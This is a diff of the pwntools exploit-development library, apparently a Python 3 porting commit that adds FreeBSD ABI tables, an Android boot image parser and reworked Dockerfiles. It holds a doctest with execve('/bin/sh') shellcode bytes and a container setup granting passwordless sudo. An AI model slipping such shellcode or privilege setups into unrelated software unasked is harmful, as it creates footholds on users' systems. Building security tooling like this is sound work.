-RUN python -m pip install --upgrade pwntools
-RUN PWNLIB_NOTERM=1 pwn update
-
-RUN apt-get install -y sudo
-RUN useradd -m pwntools
-RUN passwd --delete --unlock pwntools
-RUN echo "pwntools ALL=(ALL:ALL) NOPASSWD: ALL" > /etc/sudoers.d/pwntools
+RUN apt-get update \
+    && apt-get install -y \
+        build-essential \
+        git \
+        libssl-dev \
+        libffi-dev \
+        python2.7 \
+        python-pip \
+        python-dev \
+    && pip install --upgrade pip \
+    && python -m pip install --upgrade pwntools \
+    && PWNLIB_NOTERM=1 pwn update \
+    && apt-get install -y sudo \
+    && useradd -m pwntools \
+    && passwd --delete --unlock pwntools \
+    && echo "pwntools ALL=(ALL:ALL) NOPASSWD: ALL" > /etc/sudoers.d/pwntools
 USER pwntools
 WORKDIR /home/pwntools

extra/docker/trusty/Dockerfile

@@ -6,21 +6,21 @@
 FROM ubuntu:trusty
 MAINTAINER Maintainer Gallopsled et al.
 
-RUN apt-get update
-RUN apt-get install -y build-essential
-RUN apt-get install -y git
-RUN apt-get install -y libssl-dev
-RUN apt-get install -y libffi-dev
-RUN apt-get install -y python2.7
-RUN apt-get install -y python-pip
-RUN apt-get install -y python-dev
-RUN pip install --upgrade pip
-RUN python -m pip install --upgrade pwntools
-RUN PWNLIB_NOTERM=1 pwn update
-
-RUN apt-get install -y sudo
-RUN useradd -m pwntools
-RUN passwd --delete --unlock pwntools
-RUN echo "pwntools ALL=(ALL:ALL) NOPASSWD: ALL" > /etc/sudoers.d/pwntools
+RUN apt-get update \
+    && apt-get install -y \
+        build-essential \
+        git \
+        libssl-dev \
+        libffi-dev \
+        python2.7 \
+        python-pip \
+        python-dev \
+    && pip install --upgrade pip \
+    && python -m pip install --upgrade pwntools \
+    && PWNLIB_NOTERM=1 pwn update \
+    && apt-get install -y sudo \
+    && useradd -m pwntools \
+    && passwd --delete --unlock pwntools \
+    && echo "pwntools ALL=(ALL:ALL) NOPASSWD: ALL" > /etc/sudoers.d/pwntools
 USER pwntools
 WORKDIR /home/pwntools

extra/docker/xenial/Dockerfile

@@ -6,21 +6,21 @@
 FROM ubuntu:xenial
 MAINTAINER Maintainer Gallopsled et al.
 
-RUN apt-get update
-RUN apt-get install -y build-essential
-RUN apt-get install -y git
-RUN apt-get install -y libssl-dev
-RUN apt-get install -y libffi-dev
-RUN apt-get install -y python2.7
-RUN apt-get install -y python-pip
-RUN apt-get install -y python-dev
-RUN pip install --upgrade pip
-RUN python -m pip install --upgrade pwntools
-RUN PWNLIB_NOTERM=1 pwn update
-
-RUN apt-get install -y sudo
-RUN useradd -m pwntools
-RUN passwd --delete --unlock pwntools
-RUN echo "pwntools ALL=(ALL:ALL) NOPASSWD: ALL" > /etc/sudoers.d/pwntools
+RUN apt-get update \
+    && apt-get install -y \
+        build-essential \
+        git \
+        libssl-dev \
+        libffi-dev \
+        python2.7 \
+        python-pip \
+        python-dev \
+    && pip install --upgrade pip \
+    && python -m pip install --upgrade pwntools \
+    && PWNLIB_NOTERM=1 pwn update \
+    && apt-get install -y sudo \
+    && useradd -m pwntools \
+    && passwd --delete --unlock pwntools \
+    && echo "pwntools ALL=(ALL:ALL) NOPASSWD: ALL" > /etc/sudoers.d/pwntools
 USER pwntools
 WORKDIR /home/pwntools

pwn/toplevel.py

@@ -21,7 +21,7 @@ import pwnlib
 from pwnlib import *
 from pwnlib.asm import *
 from pwnlib.context import Thread
-from pwnlib.context import context
+from pwnlib.context import context, LocalContext
 from pwnlib.dynelf import DynELF
 from pwnlib.encoders import *
 from pwnlib.elf.corefile import Core, Corefile, Coredump
@@ -67,15 +67,8 @@ from pwnlib.util.web import *
 
 # Promote these modules, so that "from pwn import *" will let you access them
 
-try:
-    import cPickle as pickle
-except ImportError:
-    import pickle
-
-try:
-    from cStringIO import StringIO
-except ImportError:
-    from StringIO import StringIO
+from six.moves import cPickle as pickle, cStringIO as StringIO
+from six import BytesIO
 
 error   = log.error
 warning = log.warning
@@ -83,3 +76,5 @@ warn    = log.warning
 info    = log.info
 debug   = log.debug
 success = log.success
+
+__all__ = [x for x in globals().keys() if x != '__name__']

pwnlib/abi.py

@@ -1,5 +1,6 @@
 # -*- coding: utf-8 -*-
 from __future__ import absolute_import
+from __future__ import division
 
 from pwnlib.context import LocalContext
 from pwnlib.context import context
@@ -45,10 +46,18 @@ class ABI(object):
         (32, 'arm', 'linux'):   linux_arm,
         (32, 'thumb', 'linux'):   linux_arm,
         (32, 'mips', 'linux'):   linux_mips,
-        (32, 'i386', 'windows'):  windows_i386,
-        (64, 'amd64', 'windows'): windows_amd64,
         (32, 'powerpc', 'linux'): linux_ppc,
         (64, 'powerpc', 'linux'): linux_ppc64,
+        (32, 'i386', 'freebsd'):  freebsd_i386,
+        (64, 'aarch64', 'freebsd'): freebsd_aarch64,
+        (64, 'amd64', 'freebsd'): freebsd_amd64,
+        (32, 'arm', 'freebsd'):   freebsd_arm,
+        (32, 'thumb', 'freebsd'):   freebsd_arm,
+        (32, 'mips', 'freebsd'):   freebsd_mips,
+        (32, 'powerpc', 'freebsd'): freebsd_ppc,
+        (64, 'powerpc', 'freebsd'): freebsd_ppc64,
+        (32, 'i386', 'windows'):  windows_i386,
+        (64, 'amd64', 'windows'): windows_amd64,
         }[(context.bits, context.arch, context.os)]
 
     @staticmethod
@@ -67,6 +76,15 @@ class ABI(object):
         (64, 'aarch64', 'linux'):   linux_aarch64_syscall,
         (32, 'powerpc', 'linux'): linux_ppc_syscall,
         (64, 'powerpc', 'linux'): linux_ppc64_syscall,
+        (32, 'i386', 'freebsd'):  freebsd_i386_syscall,
+        (64, 'amd64', 'freebsd'): freebsd_amd64_syscall,
+        (64, 'aarch64', 'freebsd'): freebsd_aarch64_syscall,
+        (32, 'arm', 'freebsd'):   freebsd_arm_syscall,
+        (32, 'thumb', 'freebsd'):   freebsd_arm_syscall,
+        (32, 'mips', 'freebsd'):   freebsd_mips_syscall,
+        (64, 'aarch64', 'freebsd'):   freebsd_aarch64_syscall,
+        (32, 'powerpc', 'freebsd'): freebsd_ppc_syscall,
+        (64, 'powerpc', 'freebsd'): freebsd_ppc64_syscall,
         }[(context.bits, context.arch, context.os)]
 
     @staticmethod
@@ -81,6 +99,11 @@ class ABI(object):
         (32, 'arm', 'linux'):   linux_arm_sigreturn,
         (32, 'thumb', 'linux'):   linux_arm_sigreturn,
         (64, 'aarch64', 'linux'):   linux_aarch64_sigreturn,
+        (32, 'i386', 'freebsd'):  freebsd_i386_sigreturn,
+        (64, 'amd64', 'freebsd'): freebsd_amd64_sigreturn,
+        (32, 'arm', 'freebsd'):   freebsd_arm_sigreturn,
+        (32, 'thumb', 'freebsd'):   freebsd_arm_sigreturn,
+        (64, 'aarch64', 'freebsd'):   freebsd_aarch64_sigreturn,
         }[(context.bits, context.arch, context.os)]
 
 class SyscallABI(ABI):
@@ -101,6 +124,7 @@ class SigreturnABI(SyscallABI):
     returns = False
 
 
+# System V ABI used by many UNIXes
 linux_i386   = ABI('esp', [], 4, 0)
 linux_amd64  = ABI('rsp', ['rdi','rsi','rdx','rcx','r8','r9'], 8, 0)
 linux_arm    = ABI('sp', ['r0', 'r1', 'r2', 'r3'], 8, 0)
@@ -109,6 +133,14 @@ linux_mips  = ABI('$sp', ['$a0','$a1','$a2','$a3'], 4, 0)
 linux_ppc = ABI('sp', ['r3', 'r4', 'r5', 'r6', 'r7', 'r8', 'r9', 'r10'], 4, 0)
 linux_ppc64 = ABI('sp', ['r3', 'r4', 'r5', 'r6', 'r7', 'r8', 'r9', 'r10'], 8, 0)
 
+sysv_i386 = linux_i386
+sysv_amd64 = linux_amd64
+sysv_arm = linux_arm
+sysv_aarch64 = linux_aarch64
+sysv_mips = linux_mips
+sysv_ppc = linux_ppc
+sysv_ppc64 = linux_ppc64
+
 linux_i386_syscall = SyscallABI('esp', ['eax', 'ebx', 'ecx', 'edx', 'esi', 'edi', 'ebp'], 4, 0)
 linux_amd64_syscall = SyscallABI('rsp', ['rax', 'rdi', 'rsi', 'rdx', 'r10', 'r8', 'r9'],   8, 0)
 linux_arm_syscall   = SyscallABI('sp', ['r7', 'r0', 'r1', 'r2', 'r3', 'r4', 'r5', 'r6'], 4, 0)
@@ -122,5 +154,31 @@ linux_amd64_sigreturn = SigreturnABI('rsp', ['rax'], 4, 0)
 linux_arm_sigreturn = SigreturnABI('sp', ['r7'], 4, 0)
 linux_aarch64_sigreturn = SigreturnABI('sp', ['x8'], 16, 0)
 
+sysv_i386_sigreturn = linux_i386_sigreturn
+sysv_amd64_sigreturn = linux_amd64_sigreturn
+sysv_arm_sigreturn = linux_arm_sigreturn
+sysv_aarch64_sigreturn = linux_aarch64_sigreturn
+
+freebsd_i386 = sysv_i386
+freebsd_amd64 = sysv_amd64
+freebsd_arm = sysv_arm
+freebsd_aarch64 = sysv_aarch64
+freebsd_mips = sysv_mips
+freebsd_ppc = sysv_ppc
+freebsd_ppc64 = sysv_ppc64
+
+freebsd_i386_syscall   = SyscallABI('esp', ['eax'], 4, 0)
+freebsd_amd64_syscall  = SyscallABI('rsp', ['rax','rdi','rsi','rdx','rcx','r8','r9'], 8, 0)
+freebsd_arm_syscall    = SyscallABI('sp', ['r7', 'r0', 'r1', 'r2', 'r3'], 8, 0)
+freebsd_aarch64_syscall = SyscallABI('sp', ['x8', 'x0', 'x1', 'x2', 'x3'], 16, 0)
+freebsd_mips_syscall  = SyscallABI('$sp', ['$v0','$a0','$a1','$a2','$a3'], 4, 0)
+freebsd_ppc_syscall = SyscallABI('sp', ['r0', 'r3', 'r4', 'r5', 'r6', 'r7', 'r8', 'r9', 'r10'], 4, 0)
+freebsd_ppc64_syscall = SyscallABI('sp', ['r0', 'r3', 'r4', 'r5', 'r6', 'r7', 'r8', 'r9', 'r10'], 8, 0)
+
+freebsd_i386_sigreturn = sysv_i386_sigreturn
+freebsd_amd64_sigreturn = sysv_amd64_sigreturn
+freebsd_arm_sigreturn = sysv_arm_sigreturn
+freebsd_aarch64_sigreturn = sysv_aarch64_sigreturn
+
 windows_i386  = ABI('esp', [], 4, 0)
 windows_amd64 = ABI('rsp', ['rcx','rdx','r8','r9'], 32, 32)

pwnlib/adb/__init__.py

@@ -2,3 +2,5 @@ from __future__ import absolute_import
 
 from pwnlib.adb.adb import *
 from pwnlib.adb.protocol import Client
+from pwnlib.adb.bootimg import BootImage
+from pwnlib.adb.bootloader import BootloaderImage

pwnlib/adb/adb.py

@@ -35,25 +35,26 @@ the :mod:`pwnlib.adb` module.
 .. code-block:: python
 
     # Get a process listing
-    print adb.process(['ps']).recvall()
+    print(adb.process(['ps']).recvall())
 
     # Fetch properties
-    print adb.properties.ro.build.fingerprint
+    print(adb.properties.ro.build.fingerprint)
 
     # Read and write files
-    print adb.read('/proc/version')
+    print(adb.read('/proc/version'))
     adb.write('/data/local/tmp/foo', 'my data')
 
 """
 from __future__ import absolute_import
+from __future__ import division
 
 import functools
 import glob
 import logging
 import os
-import platform
 import re
 import shutil
+import six
 import stat
 import tempfile
 import time
@@ -75,9 +76,9 @@ def adb(argv, *a, **kw):
     r"""Returns the output of an ADB subcommand.
 
     >>> adb.adb(['get-serialno'])
-    'emulator-5554\n'
+    b'emulator-5554\n'
     """
-    if isinstance(argv, (str, unicode)):
+    if isinstance(argv, (bytes, six.text_type)):
         argv = [argv]
 
     log.debug("$ " + ' '.join(context.adb + argv))
@@ -355,7 +356,6 @@ class AdbDevice(Device):
 
             if name not in g:
                 raise AttributeError('%r object has no attribute %r' % (type(self).__name__,name))
-
             value = g[name]
 
         if not hasattr(value, '__call__'):
@@ -415,7 +415,7 @@ def wait_for_device(kick=False):
 @with_device
 def disable_verity():
     """Disables dm-verity on the device."""
-    with log.waitfor("Disabling dm-verity on %s" % context.device) as w:
+    with log.waitfor("Disabling dm-verity on %s" % context.device):
         root()
 
         with AdbClient() as c:
@@ -433,7 +433,7 @@ def disable_verity():
 @with_device
 def remount():
     """Remounts the filesystem as writable."""
-    with log.waitfor("Remounting filesystem on %s" % context.device) as w:
+    with log.waitfor("Remounting filesystem on %s" % context.device):
         disable_verity()
         root()
 
@@ -486,7 +486,7 @@ def pull(remote_path, local_path=None):
     Example:
 
         >>> _=adb.pull('/proc/version', './proc-version')
-        >>> print read('./proc-version') # doctest: +ELLIPSIS
+        >>> print(read('./proc-version').decode('utf-8')) # doctest: +ELLIPSIS
         Linux version ...
     """
     if local_path is None:
@@ -520,7 +520,7 @@ def push(local_path, remote_path):
         >>> adb.push('./filename', '/data/local/tmp')
         '/data/local/tmp/filename'
         >>> adb.read('/data/local/tmp/filename')
-        'contents'
+        b'contents'
         >>> adb.push('./filename', '/does/not/exist')
         Traceback (most recent call last):
         ...
@@ -573,7 +573,7 @@ def read(path, target=None, callback=None):
 
     Examples:
 
-        >>> print adb.read('/proc/version') # doctest: +ELLIPSIS
+        >>> print(adb.read('/proc/version').decode('utf-8')) # doctest: +ELLIPSIS
         Linux version ...
         >>> adb.read('/does/not/exist')
         Traceback (most recent call last):
@@ -593,7 +593,7 @@ def read(path, target=None, callback=None):
 
 @context.quietfunc
 @with_device
-def write(path, data=''):
+def write(path, data=b''):
     """Create a file on the device with the provided contents.
 
     Arguments:
@@ -602,7 +602,7 @@ def write(path, data=''):
 
     Examples:
 
-        >>> adb.write('/dev/null', 'data')
+        >>> adb.write('/dev/null', b'data')
         >>> adb.write('/data/local/tmp/')
     """
     with tempfile.NamedTemporaryFile() as temp:
@@ -650,7 +650,7 @@ def mkdir(path):
 
         # Any output at all is an error
         if result:
-            log.error(result)
+            log.error(result.rstrip().decode('utf-8'))
 
 @context.quietfunc
 @with_device
@@ -746,12 +746,12 @@ def unlink(path, recursive=False):
         if isdir(path) and c.list(path) and not recursive:
             log.error("Cannot delete non-empty directory %r without recursive=True" % path)
 
-        flags = '-rf' if recursive else '-r'
+        flags = '-rf' if recursive else '-f'
 
         output = c.execute(['rm', flags, path]).recvall()
 
         if output:
-            log.error(output)
+            log.error(output.decode('utf-8'))
 
 @with_device
 def process(argv, *a, **kw):
@@ -765,10 +765,10 @@ def process(argv, *a, **kw):
     Examples:
 
         >>> adb.root()
-        >>> print adb.process(['cat','/proc/version']).recvall() # doctest: +ELLIPSIS
+        >>> print(adb.process(['cat','/proc/version']).recvall().decode('utf-8')) # doctest: +ELLIPSIS
         Linux version ...
     """
-    if isinstance(argv, (str, unicode)):
+    if isinstance(argv, (bytes, six.text_type)):
         argv = [argv]
 
     message = "Starting %s process %r" % ('Android', argv[0])
@@ -825,6 +825,8 @@ done
 
     which_cmd = which_cmd.strip()
     data = process(['sh','-c', which_cmd], *a, **kw).recvall()
+    if not hasattr(data, 'encode'):
+        data = data.decode('utf-8')
     result = []
 
     for path in data.split('\x00'):
@@ -853,7 +855,7 @@ def whoami():
 def forward(port):
     """Sets up a port to forward to the device."""
     tcp_port = 'tcp:%s' % port
-    start_forwarding = adb(['forward', tcp_port, tcp_port])
+    adb(['forward', tcp_port, tcp_port])
     atexit.register(lambda: adb(['forward', '--remove', tcp_port]))
 
 @context.quietfunc
@@ -881,9 +883,16 @@ def logcat(stream=False):
 def pidof(name):
     """Returns a list of PIDs for the named process."""
     with context.quiet:
-        io = process(['pidof', name])
-        data = io.recvall().split()
-    return list(map(int, data))
+        # Older devices have a broken 'pidof', apparently.
+        # Try pgrep first.
+        io = process(['pgrep', name])
+        data = io.recvall()
+
+        if 'not found' in data:
+            io = process(['pidof', name])
+            data = io.recvall()
+
+    return list(map(int, data.split()))
 
 @with_device
 def proc_exe(pid):
@@ -906,11 +915,17 @@ def getprop(name=None):
     """
     with context.quiet:
         if name:
-            return process(['getprop', name]).recvall().strip()
+            result = process(['getprop', name]).recvall().strip()
+            if not hasattr(result, 'encode'):
+                result = result.decode('utf-8')
+            return result
 
 
         result = process(['getprop']).recvall()
 
+    if not hasattr(result, 'encode'):
+        result = result.decode('utf-8')
+
     expr = r'\[([^\]]+)\]: \[(.*)\]'
 
     props = {}
@@ -1050,7 +1065,7 @@ class Kernel(object):
             'Nexus 7': 'oem uart-on',
         }
 
-        with log.waitfor('Enabling kernel UART') as w:
+        with log.waitfor('Enabling kernel UART'):
 
             if model not in known_commands:
                 log.error("Device UART is unsupported.")
@@ -1090,7 +1105,7 @@ class Property(object):
         self.__dict__['_name'] = name
 
     def __str__(self):
-        return getprop(self._name).strip()
+        return str(getprop(self._name)).strip()
 
     def __repr__(self):
         return repr(str(self))

pwnlib/adb/bootimg.py

@@ -0,0 +1,52 @@
+from __future__ import division
+
+import ctypes
+
+BOOT_MAGIC = b"ANDROID!"
+BOOT_MAGIC_SIZE = 8
+BOOT_NAME_SIZE = 16
+BOOT_ARGS_SIZE = 512
+BOOT_EXTRA_ARGS_SIZE = 1024
+
+
+class boot_img_hdr(ctypes.Structure):
+    _fields_ = [
+        ('magic', ctypes.c_char * BOOT_MAGIC_SIZE),
+
+        ('kernel_size', ctypes.c_uint32),
+        ('kernel_addr', ctypes.c_uint32),
+
+        ('ramdisk_size', ctypes.c_uint32),
+        ('ramdisk_addr', ctypes.c_uint32),
+
+        ('second_size', ctypes.c_uint32),
+        ('second_addr', ctypes.c_uint32),
+
+        ('tags_addr', ctypes.c_uint32),
+        ('page_size', ctypes.c_uint32),
+        ('unused', ctypes.c_uint32),
+
+        ('os_version', ctypes.c_uint32),
+
+        ('name', ctypes.c_char * BOOT_NAME_SIZE),
+        ('cmdline', ctypes.c_char * BOOT_ARGS_SIZE),
+        ('id', ctypes.c_char * 8),
+
+        ('extra_cmdline', ctypes.c_char * BOOT_EXTRA_ARGS_SIZE),
+    ]
+
+class BootImage(object):
+    def __init__(self, data):
+        self.data = data
+        self.header = boot_img_hdr.from_buffer_copy(data)
+
+        PAGE = self.page_size
+
+        # The kernel starts at the beginning of the second page.
+        self.kernel = self.data[PAGE:PAGE+self.kernel_size]
+
+    def __getattr__(self, name):
+        value = getattr(self.header, name, None)
+        if value is not None:
+            return value
+        return getattr(super(BootImage, self), name)

pwnlib/adb/bootloader.py

@@ -1,10 +1,15 @@
 from __future__ import unicode_literals
+from __future__ import division
 
 import ctypes
 import io
 import os
 import sys
 
+from pwnlib.log import getLogger
+
+log = getLogger(__name__)
+
 class img_info(ctypes.Structure):
     _fields_ = [
         ('name', ctypes.c_char * 64),
@@ -19,11 +24,7 @@ class bootloader_images_header(ctypes.Structure):
         ('bootldr_size', ctypes.c_uint32),
     ]
 
-    def __init__(self, *a, **kw):
-        super(bootloader_images_header, self).__init__(*a, **kw)
-        if self.magic != self.MAGIC:
-            raise ValueError("Incorrect magic (%r, expected %r)" % (self.magic, self.MAGIC))
-    MAGIC = 'BOOTLDR!'
+BOOTLDR_MAGIC = b'BOOTLDR!'
 
 class BootloaderImage(object):
     def __init__(self, data):
@@ -35,7 +36,21 @@ class BootloaderImage(object):
         self.data = data
         self.header = bootloader_images_header.from_buffer_copy(data)
 
-        imgarray = ctypes.ARRAY(img_info, self.header.num_images)
+        if self.magic != BOOTLDR_MAGIC:
+            log.error("Incorrect magic (%r, expected %r)" % (self.magic, BOOTLDR_MAGIC))
+
+        if(self.bootldr_size > len(data)):
+            log.warn_once("Bootloader is supposed to be %#x bytes, only have %#x",
+                          self.bootldr_size,
+                          len(data))
+
+        if(self.num_images >= 0x100):
+            old = self.num_images
+            self.num_images = 1
+            log.warn_once("Bootloader num_images (%#x) appears corrupted, truncating to 1",
+                          old)
+
+        imgarray = ctypes.ARRAY(img_info, self.num_images)
         self.img_info = imgarray.from_buffer_copy(data, ctypes.sizeof(self.header))
 
     def extract(self, index_or_name):
@@ -62,7 +77,7 @@ class BootloaderImage(object):
         if index >= len(self.img_info):
             raise ValueError("index out of range (%s, max %s)" % (index, len(self.img_info)))
 
-        offset = self.header.start_offset
+        offset = self.start_offset
 
         for i in range(index):
             offset += self.img_info[i].size
@@ -87,17 +102,23 @@ class BootloaderImage(object):
     def __str__(self):
         rv = []
         rv.append("Bootloader")
-        rv.append("  Magic:  %r" % self.header.magic)
-        rv.append("  Offset: %#x" % self.header.start_offset)
-        rv.append("  Size:   %#x" % self.header.bootldr_size)
-        rv.append("  Images: %s" % self.header.num_images)
+        rv.append("  Magic:  %r" % self.magic)
+        rv.append("  Offset: %#x" % self.start_offset)
+        rv.append("  Size:   %#x" % self.bootldr_size)
+        rv.append("  Images: %s" % self.num_images)
         for img in self.img_info:
             rv.append("    Name: %s" % img.name)
             rv.append("    Size: %#x" % img.size)
             rv.append("    Data: %r..." % self.extract(img.name)[:32])
         return '\n'.join(rv)
 
+    def __getattr__(self, name):
+        value = getattr(self.header, name, None)
+        if value is not None:
+            return value
+        return getattr(super(BootImage, self), name)
+
 if __name__ == '__main__':
     # Easy sanity checking
-    b = BootloaderImage(open(sys.argv[1]).read())
+    b = BootloaderImage(open(sys.argv[1], 'rb').read())
     print(b)

pwnlib/args.py

@@ -23,7 +23,7 @@ this way.
 
 .. code-block:: bash
 
-    $ python -c 'from pwn import *; print args' A=1 B=Hello HOST=1.2.3.4 DEBUG
+    $ python -c 'from pwn import *; print(args)' A=1 B=Hello HOST=1.2.3.4 DEBUG
     defaultdict(<type 'str'>, {'A': '1', 'HOST': '1.2.3.4', 'B': 'Hello'})
 
 This is very useful for conditional code, for example determining whether to
@@ -51,6 +51,7 @@ below.
 
 """
 from __future__ import absolute_import
+from __future__ import division
 
 import collections
 import logging
@@ -85,7 +86,7 @@ def isident(s):
     Helper function to check whether a string is a valid identifier,
     as passed in on the command-line.
     """
-    first = string.uppercase + '_'
+    first = string.ascii_uppercase + '_'
     body = string.digits + first
     if not s:
         return False
@@ -194,7 +195,7 @@ def initialize():
         value = 'True'
 
         if '=' in arg:
-            arg, value = arg.split('=')
+            arg, value = arg.split('=', 1)
 
         if arg in hooks:
             sys.argv.remove(orig)

pwnlib/asm.py

@@ -16,39 +16,38 @@ Assembly
     To assemble code, simply invoke :func:`asm` on the code to assemble.
 
         >>> asm('mov eax, 0')
-        '\xb8\x00\x00\x00\x00'
+        b'\xb8\x00\x00\x00\x00'
 
     Additionally, you can use constants as defined in the :mod:`pwnlib.constants`
     module.
 
         >>> asm('mov eax, SYS_execve')
-        '\xb8\x0b\x00\x00\x00'
+        b'\xb8\x0b\x00\x00\x00'
 
     Finally, :func:`asm` is used to assemble shellcode provided by ``pwntools``
     in the :mod:`shellcraft` module.
 
         >>> asm(shellcraft.nop())
-        '\x90'
+        b'\x90'
 
 Disassembly
 ------------------------
 
     To disassemble code, simply invoke :func:`disasm` on the bytes to disassemble.
 
-    >>> disasm('\xb8\x0b\x00\x00\x00')
-    '   0:   b8 0b 00 00 00          mov    eax,0xb'
+    >>> disasm(b'\xb8\x0b\x00\x00\x00')
+    '   0:   b8 0b 00 00 00          mov    eax, 0xb'
 
 """
 from __future__ import absolute_import
+from __future__ import division
 
 import errno
 import os
 import platform
 import re
 import shutil
-import string
 import subprocess
-import sys
 import tempfile
 from collections import defaultdict
 from glob import glob
@@ -90,7 +89,7 @@ def dpkg_search_for_binutils(arch, util):
 
     try:
         filename = 'bin/%s*linux*-%s' % (arch, util)
-        output = subprocess.check_output(['dpkg','-S',filename])
+        output = subprocess.check_output(['dpkg','-S',filename], universal_newlines = True)
         for line in output.strip().splitlines():
             package, path = line.split(':', 1)
             packages.append(package)
@@ -160,7 +159,6 @@ def which_binutils(util):
         Exception: Could not find 'as' installed for ContextType(arch = 'msp430')
     """
     arch = context.arch
-    bits = context.bits
 
     # Fix up pwntools vs Debian triplet naming, and account
     # for 'thumb' being its own pwntools architecture.
@@ -244,7 +242,7 @@ def _assembler():
     if not checked_assembler_version[gas]:
         checked_assembler_version[gas] = True
         result = subprocess.check_output([gas, '--version','/dev/null'],
-                                         stderr=subprocess.STDOUT)
+                                         stderr=subprocess.STDOUT, universal_newlines=True)
         version = re.search(r' (\d\.\d+)', result).group(1)
         if version < '2.19':
             log.warn_once('Your binutils version is too old and may not work!\n'  + \
@@ -364,7 +362,8 @@ def _run(cmd, stdin = None):
             cmd,
             stdin  = subprocess.PIPE,
             stdout = subprocess.PIPE,
-            stderr = subprocess.PIPE
+            stderr = subprocess.PIPE,
+            universal_newlines = True
         )
         stdout, stderr = proc.communicate(stdin)
         exitcode = proc.wait()
@@ -409,8 +408,6 @@ def cpp(shellcode):
         >>> cpp("SYS_setresuid", os = "freebsd")
         '311\n'
     """
-    arch = context.arch
-    os   = context.os
     code = _include_header() + shellcode
     cmd  = [
         'cpp',
@@ -474,7 +471,7 @@ def make_elf_from_assembly(assembly,
         >>> sc += shellcraft.echo('Hello\n')
         >>> sc += 'mov rsp, rbp; pop rbp; ret'
         >>> solib = make_elf_from_assembly(sc, shared=1)
-        >>> subprocess.check_output(['echo', 'World'], env={'LD_PRELOAD': solib})
+        >>> subprocess.check_output(['echo', 'World'], env={'LD_PRELOAD': solib}, universal_newlines = True)
         'Hello\nWorld\n'
 
         The same thing can be done with :func:`.make_elf`, though the sizes
@@ -507,7 +504,7 @@ def make_elf_from_assembly(assembly,
     result = asm(assembly, vma = vma, shared = shared, extract = False, **kwargs)
 
     if not extract:
-        os.chmod(result, 0755)
+        os.chmod(result, 0o755)
     else:
         with open(result, 'rb') as io:
             result = io.read()
@@ -540,12 +537,12 @@ def make_elf(data,
         execve('/bin/sh',...).
 
         >>> context.clear(arch='i386')
-        >>> bin_sh = '6a68682f2f2f73682f62696e89e331c96a0b5899cd80'.decode('hex')
+        >>> bin_sh = unhex('6a68682f2f2f73682f62696e89e331c96a0b5899cd80')
         >>> filename = make_elf(bin_sh, extract=False)
         >>> p = process(filename)
-        >>> p.sendline('echo Hello; exit')
+        >>> p.sendline(b'echo Hello; exit')
         >>> p.recvline()
-        'Hello\n'
+        b'Hello\n'
     """
     retval = None
 
@@ -562,7 +559,7 @@ def make_elf(data,
     assembler = _assembler()
     linker    = _linker()
     code      = _arch_header()
-    code      += '.string "%s"' % ''.join('\\x%02x' % ord(c) for c in data)
+    code      += '.string "%s"' % ''.join('\\x%02x' % c for c in bytearray(data))
     code      += '\n'
 
     log.debug("Building ELF:\n" + code)
@@ -573,7 +570,7 @@ def make_elf(data,
     step3     = path.join(tmpdir, 'step3-elf')
 
     try:
-        with open(step1, 'wb+') as f:
+        with open(step1, 'w') as f:
             f.write(code)
 
         _run(assembler + ['-o', step2, step1])
@@ -594,11 +591,11 @@ def make_elf(data,
             _run([which_binutils('strip'), '--strip-unneeded', step3])
 
         if not extract:
-            os.chmod(step3, 0755)
+            os.chmod(step3, 0o755)
             retval = step3
 
         else:
-            with open(step3, 'r') as f:
+            with open(step3, 'rb') as f:
                 retval = f.read()
     except Exception:
         log.exception("An error occurred while building an ELF:\n%s" % code)
@@ -614,7 +611,7 @@ def asm(shellcode, vma = 0, extract = True, shared = False):
     Runs :func:`cpp` over a given shellcode and then assembles it into bytes.
 
     To see which architectures or operating systems are supported,
-    look in :mod:`pwnlib.contex`.
+    look in :mod:`pwnlib.context`.
 
     Assembling shellcode requires that the GNU assembler is installed
     for the target architecture.
@@ -633,13 +630,13 @@ def asm(shellcode, vma = 0, extract = True, shared = False):
     Examples:
 
         >>> asm("mov eax, SYS_select", arch = 'i386', os = 'freebsd')
-        '\xb8]\x00\x00\x00'
+        b'\xb8]\x00\x00\x00'
         >>> asm("mov eax, SYS_select", arch = 'amd64', os = 'linux')
-        '\xb8\x17\x00\x00\x00'
+        b'\xb8\x17\x00\x00\x00'
         >>> asm("mov rax, SYS_select", arch = 'amd64', os = 'linux')
-        'H\xc7\xc0\x17\x00\x00\x00'
+        b'H\xc7\xc0\x17\x00\x00\x00'
         >>> asm("mov r0, #SYS_select", arch = 'arm', os = 'linux', bits=32)
-        'R\x00\xa0\xe3'
+        b'R\x00\xa0\xe3'
     """
     result = ''
 
@@ -687,10 +684,11 @@ def asm(shellcode, vma = 0, extract = True, shared = False):
 
             _run(linker + ldflags)
 
-        elif file(step2,'rb').read(4) == '\x7fELF':
+        elif open(step2,'rb').read(4) == b'\x7fELF':
             # Sanity check for seeing if the output has relocations
             relocs = subprocess.check_output(
-                [which_binutils('readelf'), '-r', step2]
+                [which_binutils('readelf'), '-r', step2],
+                universal_newlines = True
             ).strip()
             if extract and len(relocs.split('\n')) > 1:
                 log.error('Shellcode contains relocations:\n%s' % relocs)
@@ -702,7 +700,7 @@ def asm(shellcode, vma = 0, extract = True, shared = False):
 
         _run(objcopy + [step3, step4])
 
-        with open(step4) as fd:
+        with open(step4, 'rb') as fd:
             result = fd.read()
 
     except Exception:
@@ -722,9 +720,6 @@ def disasm(data, vma = 0, byte = True, offset = True, instructions = True):
     To see which architectures are supported,
     look in :mod:`pwnlib.contex`.
 
-    To support all these architecture, we bundle the GNU objcopy
-    and objdump with pwntools.
-
     Arguments:
       data(str): Bytestring to disassemble.
       vma(int): Passed through to the --adjust-vma argument of objdump
@@ -736,26 +731,28 @@ def disasm(data, vma = 0, byte = True, offset = True, instructions = True):
 
     Examples:
 
-        >>> print disasm('b85d000000'.decode('hex'), arch = 'i386')
-           0:   b8 5d 00 00 00          mov    eax,0x5d
-        >>> print disasm('b85d000000'.decode('hex'), arch = 'i386', byte = 0)
-           0:   mov    eax,0x5d
-        >>> print disasm('b85d000000'.decode('hex'), arch = 'i386', byte = 0, offset = 0)
-        mov    eax,0x5d
-        >>> print disasm('b817000000'.decode('hex'), arch = 'amd64')
-           0:   b8 17 00 00 00          mov    eax,0x17
-        >>> print disasm('48c7c017000000'.decode('hex'), arch = 'amd64')
-           0:   48 c7 c0 17 00 00 00    mov    rax,0x17
-        >>> print disasm('04001fe552009000'.decode('hex'), arch = 'arm')
+        >>> print(disasm(unhex('b85d000000'), arch = 'i386'))
+           0:   b8 5d 00 00 00          mov    eax, 0x5d
+        >>> print(disasm(unhex('b85d000000'), arch = 'i386', byte = 0))
